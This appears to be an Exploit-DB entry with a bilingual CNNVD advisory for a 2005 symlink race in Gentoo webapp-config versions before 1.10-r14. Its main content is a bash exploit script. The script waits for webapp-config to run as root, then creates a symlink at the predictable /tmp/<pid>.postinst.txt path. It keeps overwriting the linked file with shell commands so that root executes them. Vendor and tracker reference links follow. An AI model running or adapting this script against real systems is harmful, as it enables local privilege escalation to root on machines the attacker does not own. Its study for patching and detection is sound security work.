https://www.exploit-db.com/exploits/25709
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-1183

Gentoowebapp-config的1.10-r14之前版本中的fn_show_postinst函数允许本地用户通过对postinst.txt临时文件的symlink攻击来重写任意文件。

source: http://www.securityfocus.com/bid/13780/info

Gentoo webapp-config is prone to an insecure file creation vulnerability. This issue is due to a design error that causes the application to fail to verify the existence of a file before writing to it.

An attacker may leverage this issue to cause arbitrary shell commands to be executed with superuser privileges. 

#!/bin/bash

# Eric Romang aka wow ([email protected])
# webapp-config race condition how permit execution of arbitrary command with root privileges
# work with < webapp-config 1.10-r14

rm -f webapp-config_trace.txt fake_tmp_file /tmp/*.postinst.txt
touch ~/fake_tmp_file

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting for webapp-config execution..."

while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root 
	if [ "$?" == 0 ]
	then
		echo "1" > webapp-config_trace.txt
	fi
	status=`cat webapp-config_trace.txt`
done

echo "Process caught !"
process_id=`pgrep -u root webapp-config`
ln -s ~/fake_tmp_file /tmp/$process_id.postinst.txt
echo "fake_file_created!"
echo "we force the file to be overwritten"

echo "0" > webapp-config_trace.txt
status=`cat webapp-config_trace.txt`
echo "Waiting the end of webapp-config"
echo "during all the configuration we force the file to be overwritten"
while [ "$status" == 0 ]
do
	ps auxw|grep webapp-config|grep root
	if [ "$?" == 1 ]
	then
		echo "1" > webapp-config_trace.txt
	else
		echo "echo premature end of script; exit 1;" > ~/fake_tmp_file
	fi
	status=`cat webapp-config_trace.txt`
done
echo "end of webapp-config"

来源:SECTRACK
名称:1014027
链接:http://securitytracker.com/id?1014027
来源:MISC
链接:http://www.zataz.net/adviso/webapp-config-05182005.txt
来源:BID
名称:13780
链接:http://www.securityfocus.com/bid/13780
来源:OSVDB
名称:16746
链接:http://www.osvdb.org/16746
来源:GENTOO
名称:GLSA-200506-13
链接:http://www.gentoo.org/security/en/glsa/glsa-200506-13.xml
来源:VUPEN
名称:ADV-2005-0809
链接:http://www.frsirt.com/english/advisories/2005/0809
来源:SECUNIA
名称:15445
链接:http://secunia.com/advisories/15445
来源:MISC
链接:http://bugs.gentoo.org/show_bug.cgi?id=91785